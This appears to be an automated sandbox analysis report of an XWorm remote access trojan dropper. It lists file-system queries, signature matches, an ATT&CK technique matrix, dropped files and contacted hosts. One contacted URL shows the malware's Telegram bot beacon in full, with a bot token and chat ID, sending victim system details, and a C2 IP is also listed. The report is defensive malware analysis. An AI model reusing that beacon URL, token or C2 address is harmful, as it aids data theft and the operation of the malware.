Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pyasn1\type\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pyasn1\type\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pyasn1 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pyasn1\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pyasn1\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\debugger VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\debugger VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\debugger VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\debugger VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\app VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\app VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\app VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\app VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\ocx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\dialogs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\dialogs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor\color VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework VolumeInformation	Jump to behavior

Source: C:\recover\olx.exe

Code function: 15_2_00007FF7769C45AC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

15_2_00007FF7769C45AC

Source: C:\recover\pw\pw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Lowering of HIPS / PFW / Operating System Security Settings

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 26.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.olx.exe.239ef437310.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.olx.exe.239ef437310.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.olx.exe.20a7ec37310.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.1949998367.00000239EF437000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1888895593.0000020A7EC37000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.1948096979.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2637359292.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 26.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.olx.exe.239ef437310.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.olx.exe.239ef437310.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.olx.exe.20a7ec37310.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.1949998367.00000239EF437000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1888895593.0000020A7EC37000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.1948096979.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2637359292.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Search Order Hijacking	1 DLL Search Order Hijacking	111 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Input Capture	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Registry Run Keys / Startup Folder	1 Access Token Manipulation	31 Obfuscated Files or Information	Security Account Manager	36 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	311 Process Injection	21 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	2 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	14 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Search Order Hijacking	DCSync	141 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	141 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	311 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
vUlh7stUHJ.exe	11%	ReversingLabs	Win64.Trojan.Generic

Dropped Files

Source	Detection	Scanner
C:\recover\Qt5Core.dll	0%	ReversingLabs
C:\recover\Qt5Gui.dll	0%	ReversingLabs
C:\recover\Qt5Quick3DUtils.dll	0%	ReversingLabs
C:\recover\libcrypto-3-x64.dll	0%	ReversingLabs
C:\recover\libcurl.dll	0%	ReversingLabs
C:\recover\msvcp140.dll	0%	ReversingLabs
C:\recover\msvcp140_1.dll	0%	ReversingLabs
C:\recover\msvcp140_2.dll	0%	ReversingLabs
C:\recover\msvcp140_atomic_wait.dll	0%	ReversingLabs
C:\recover\msvcp140_codecvt_ids.dll	0%	ReversingLabs
C:\recover\olx.exe	0%	ReversingLabs
C:\recover\pw\DLLs\_asyncio.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_bz2.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_ctypes.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_decimal.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_elementtree.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_hashlib.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_lzma.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_msi.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_multiprocessing.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_overlapped.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_queue.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_socket.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_sqlite3.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_ssl.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_uuid.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\_zoneinfo.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\libcrypto-1_1.dll	0%	ReversingLabs
C:\recover\pw\DLLs\libffi-7.dll	0%	ReversingLabs
C:\recover\pw\DLLs\libssl-1_1.dll	0%	ReversingLabs
C:\recover\pw\DLLs\pyexpat.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\select.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\sqlite3.dll	0%	ReversingLabs
C:\recover\pw\DLLs\unicodedata.pyd	0%	ReversingLabs
C:\recover\pw\DLLs\winsound.pyd	0%	ReversingLabs
C:\recover\pw\Lib\abc.py	0%	ReversingLabs
C:\recover\pw\Lib\aifc.py	0%	ReversingLabs
C:\recover\pw\Lib\argparse.py	0%	ReversingLabs
C:\recover\pw\Lib\ast.py	0%	ReversingLabs
C:\recover\pw\Lib\asynchat.py	0%	ReversingLabs
C:\recover\pw\Lib\asyncore.py	0%	ReversingLabs
C:\recover\pw\Lib\base64.py	0%	ReversingLabs
C:\recover\pw\Lib\bdb.py	0%	ReversingLabs
C:\recover\pw\Lib\binhex.py	0%	ReversingLabs
C:\recover\pw\Lib\bisect.py	0%	ReversingLabs
C:\recover\pw\Lib\bz2.py	0%	ReversingLabs
C:\recover\pw\Lib\cProfile.py	0%	ReversingLabs
C:\recover\pw\Lib\calendar.py	0%	ReversingLabs
C:\recover\pw\Lib\cgi.py	0%	ReversingLabs
C:\recover\pw\Lib\cgitb.py	0%	ReversingLabs

Source	Detection	Scanner	Label
http://ocsp.accv.es000000Z	0%	Avira URL Cloud	safe
http://ocsp.accv.es	0%	Avira URL Cloud	safe
https://bugs.python.org/issue39682	0%	Avira URL Cloud	safe
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN)	0%	Avira URL Cloud	safe
https://bugs.python.org/issue20164	0%	Avira URL Cloud	safe
https://httpbin.org/get	0%	Avira URL Cloud	safe
http://bugs.python.org/issue14396.	0%	Avira URL Cloud	safe
https://wwww.certigna.fr/autorites/0m	0%	Avira URL Cloud	safe
https://httpbin.org/	0%	Avira URL Cloud	safe
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	0%	Avira URL Cloud	safe
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	0%	Avira URL Cloud	safe
103.232.55.173	0%	Avira URL Cloud	safe
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	0%	Avira URL Cloud	safe
https://www.firedaemon.com0/	0%	Avira URL Cloud	safe
http://wwwsearch.sf.net/):	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0C	0%	Avira URL Cloud	safe
http://.../back.jpeg	0%	Avira URL Cloud	safe
https://www.python.or	0%	Avira URL Cloud	safe
https://mahler:8092/site-updates.py	0%	Avira URL Cloud	safe
https://foss.heptapod.net/pypy/pypy/-/issues/3539	0%	Avira URL Cloud	safe
https://httpbin.org/post	0%	Avira URL Cloud	safe
https://urllib3.readthedocs.io/en/latest/advanced-usage.html	0%	Avira URL Cloud	safe
http://bugs.python.org/issue16298)	0%	Avira URL Cloud	safe
https://erickt.github.io/blog/2014/11/19/adventures-in-debugging-a-potential-osx-kernel-bug/	0%	Avira URL Cloud	safe
http://cacerts.digicert.co	0%	Avira URL Cloud	safe
http://www.firmaprofesional.com/cps0	0%	Avira URL Cloud	safe
https://html.spec.whatwg.org/multipage/	0%	Avira URL Cloud	safe
http://www.pkware.com/documents/casestudies/APPNOTE.TXT	0%	Avira URL Cloud	safe
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#socks-proxies)	0%	Avira URL Cloud	safe
https://requests.readthedocs.io	0%	Avira URL Cloud	safe
http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
api.telegram.org	149.154.167.220	true	false	high
settings-ssl.xboxlive.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot7898406264:AAEcJvD5oP4JuBuf3i4snVJp7o4fDp7tsuw/sendMessage?chat_id=-1002292872097&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A49ADBA61C1A62D0D1A8E%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20MOE6XX6%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6	false		high
103.232.55.173	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2168z(Andrey	pw.exe, 0000000E.00000003.1684698922.0000000001DAC000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1685641191.0000000001C05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1689231973.0000000001DAF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1686641947.0000000001DAE000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684351470.0000000001BDC000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1689155922.0000000001C0A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1687379008.0000000001C05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1687471666.0000000001DA9000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1686245822.0000000001C05000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN)	pw.exe, 0000000E.00000003.1722796605.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722874531.0000000001C26000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue39682	pw.exe, 0000000E.00000003.1732870721.00000000022B7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728322434.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1738371744.00000000022B9000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1729715901.00000000022B8000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1733488872.00000000022B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/rfc2388#section-4.4	pw.exe, 0000000E.00000003.1792758917.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790233188.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1739234363.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1731240122.0000000001CD2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1785968884.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728019212.0000000001CD2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749805094.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772292650.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1746215994.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1744625281.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1730613845.0000000001CD2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745824282.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.accv.es000000Z	pw.exe, 0000000E.00000003.1792758917.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790233188.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1785968884.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://web.archive.org/web/20200623061726/https://bitbucket.org/pitrou/pathlib/issues/12/	pw.exe, 0000000E.00000003.1732870721.00000000022B7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728322434.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1738371744.00000000022B9000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1729715901.00000000022B8000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1733488872.00000000022B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/issues/113199	pw.exe, 0000000E.00000003.1724923193.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1723803786.0000000001D34000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725199371.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://bugs.python.org/issue19619	pw.exe, 0000000E.00000003.1649597334.0000000000EEF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1651107528.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1649541580.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/pull/2624	pw.exe, 0000000E.00000003.1724923193.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725199371.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/http	Video.UI.exe, 00000004.00000003.1565238879.00000267AAC13000.00000004.00000020.00020000.00000000.sdmp	false		high
http://bugs.python.org/issue5845#msg198636	pw.exe, 0000000E.00000003.1652694422.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibility	olx.exe	false		high
https://curl.haxx.se/docs/copyright.htmlD	vUlh7stUHJ.exe, 00000000.00000003.1403225658.000001F676774000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.videolan.org/x264.html	Video.UI.exe, 00000004.00000003.1435661410.00000267A3E13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	pw.exe, 0000000E.00000003.1722253380.00000000023A2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.dhimyotis.com/certignarootca.crl	pw.exe, 0000000E.00000003.1792578513.0000000002360000.00000004.00000020.00020000.00000000.sdmp	false		high
http://curl.haxx.se/rfc/cookie_spec.html	pw.exe, 0000000E.00000003.1750024027.0000000001D33000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749404924.0000000001D33000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1756565251.00000000023F7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.accv.es	pw.exe, 0000000E.00000003.1792758917.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790233188.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1785968884.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/msg352381	pw.exe, 0000000E.00000003.1674219564.0000000001D99000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1672814546.0000000001DAF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pyca/pyopenssl/pull/933	pw.exe, 0000000E.00000003.1725452365.00000000022B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugs.python.org/issue20164	pw.exe, 0000000E.00000003.1770027736.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773146814.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://httpbin.org/get	pw.exe, 0000000E.00000003.1791732327.0000000003FE5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1782896299.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1781205759.00000000022C9000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1787359999.0000000001C19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bugs.python.org/issue14396.	pw.exe, 0000000E.00000003.1785453124.0000000002299000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo.com/	pw.exe, 0000000E.00000003.1695645040.0000000001D24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1697819388.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wwww.certigna.fr/autorites/0m	pw.exe, 0000000E.00000003.1792578513.0000000002360000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://httpbin.org/	pw.exe, 0000000E.00000003.1741788916.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	pw.exe, 0000000E.00000003.1674430784.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674219564.0000000001D99000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674280207.0000000001BC7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1672814546.0000000001DAF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674664554.0000000001BD4000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674574138.0000000001D8B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/3267.	pw.exe, 0000000E.00000003.1725452365.00000000022B9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sourceware.org/pthreads-win32/manual/pthread_barrier_init.html	pw.exe, 0000000E.00000003.1689332595.0000000001BF7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/pull/7160#discussion_r195405230	pw.exe, 0000000E.00000003.1676073472.0000000001BD5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1676964408.0000000001BC7000.00000004.00000020.00020000.00000000.sdmp	false		high
